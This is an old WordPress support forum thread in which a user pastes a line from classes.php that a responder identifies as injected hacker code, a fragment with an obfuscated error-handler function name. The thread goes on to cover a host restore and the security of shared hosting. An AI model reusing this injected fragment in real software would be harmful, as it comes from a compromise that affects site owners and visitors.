Title: Parse Error?
Last modified: August 19, 2016

---

# Parse Error?

 *  [davidk1397](https://wordpress.org/support/users/davidk1397/)
 * (@davidk1397)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/parse-error-25/)
 * Everything’s been working fine, then I get this message. I compared the code 
   to the original WP code and it’s the same. I did change a theme recently, but
   that seemed to be working ok. I’ve tried to research this in Codex, but all I
   find is syntax error and I don’t know the proper syntax for PHP.
 * Your help will certainly make my day!
 * `Parse error: parse error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING
   or T_VARIABLE or T_NUM_STRING in /giftstud.com/blog/wp-includes/classes.php on
   line 807`
 * **Line 807**
 *     ```
       if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><wp_ajax>";**End line 807**
       		foreach ( $this->responses as $response )
       			echo $response;
       		echo '</wp_ajax>';
       		die();
       	}
       }
   
       ?>
       ```
   

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [whooami](https://wordpress.org/support/users/whooami/)
 * (@whooami)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/parse-error-25/#post-914063)
 * uh, you need to show me where you think that code matches code in any version
   of wordpress that you downloaded from THIS domain.
 * It doesnt, and your site is hacked.
 * PS: apologies as Im sure that doesnt make your day.
 *  Thread Starter [davidk1397](https://wordpress.org/support/users/davidk1397/)
 * (@davidk1397)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/parse-error-25/#post-914082)
 * You were right, of course. I had been comparing the code from the wrong document.
 * When I went to upload the original to the server, I discovered that all the permissions
   had been changed and I couldn’t gain access. I asked my hosting company to do
   a restore back to a date that was good and, hopefully, that will resolve the 
   problem, at least for now.
 * As it happens, I also use IX Web Hosting and from your answer to Wpaul I was 
   able to see the ownership had been changed to HTTPD. I don’t know if I need to
   change the host or find some way to prevent future occurences–Research time, 
   I guess!
 * Thanks for your prompt help!
 * David K
 *  [whooami](https://wordpress.org/support/users/whooami/)
 * (@whooami)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/parse-error-25/#post-914086)
 * well here’s **my** advice, for what it’s worth (and I work for a host).
 * If I had hosting any place, and there were wide spread cases where sites were
   being hacked, I would 1) question the host’s security, and 2) go elsewhere, promptly.
   I dont care what host it was, and for the record, there’s 2 hosts that keep coming
   up over and over again on these forums — yours is just one of them.
 * In the case of wpaul, a file having httpd:httpd ownership is normal, even a file
   that ends up being exploited, the caise of an exploit, etc..
 * Whats not normal is the root and I assume wheel issue. (root being the user and
   wheel being the group)
 * That alone suggests there is something seriously wrong with the security of the
   server he is on.
 * —

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘Parse Error?’ is closed to new replies.

## Tags

 * [parse-error](https://wordpress.org/support/topic-tag/parse-error/)
 * [whooami](https://wordpress.org/support/topic-tag/whooami/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 3 replies
 * 2 participants
 * Last reply from: [whooami](https://wordpress.org/support/users/whooami/)
 * Last activity: [17 years, 4 months ago](https://wordpress.org/support/topic/parse-error-25/#post-914086)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
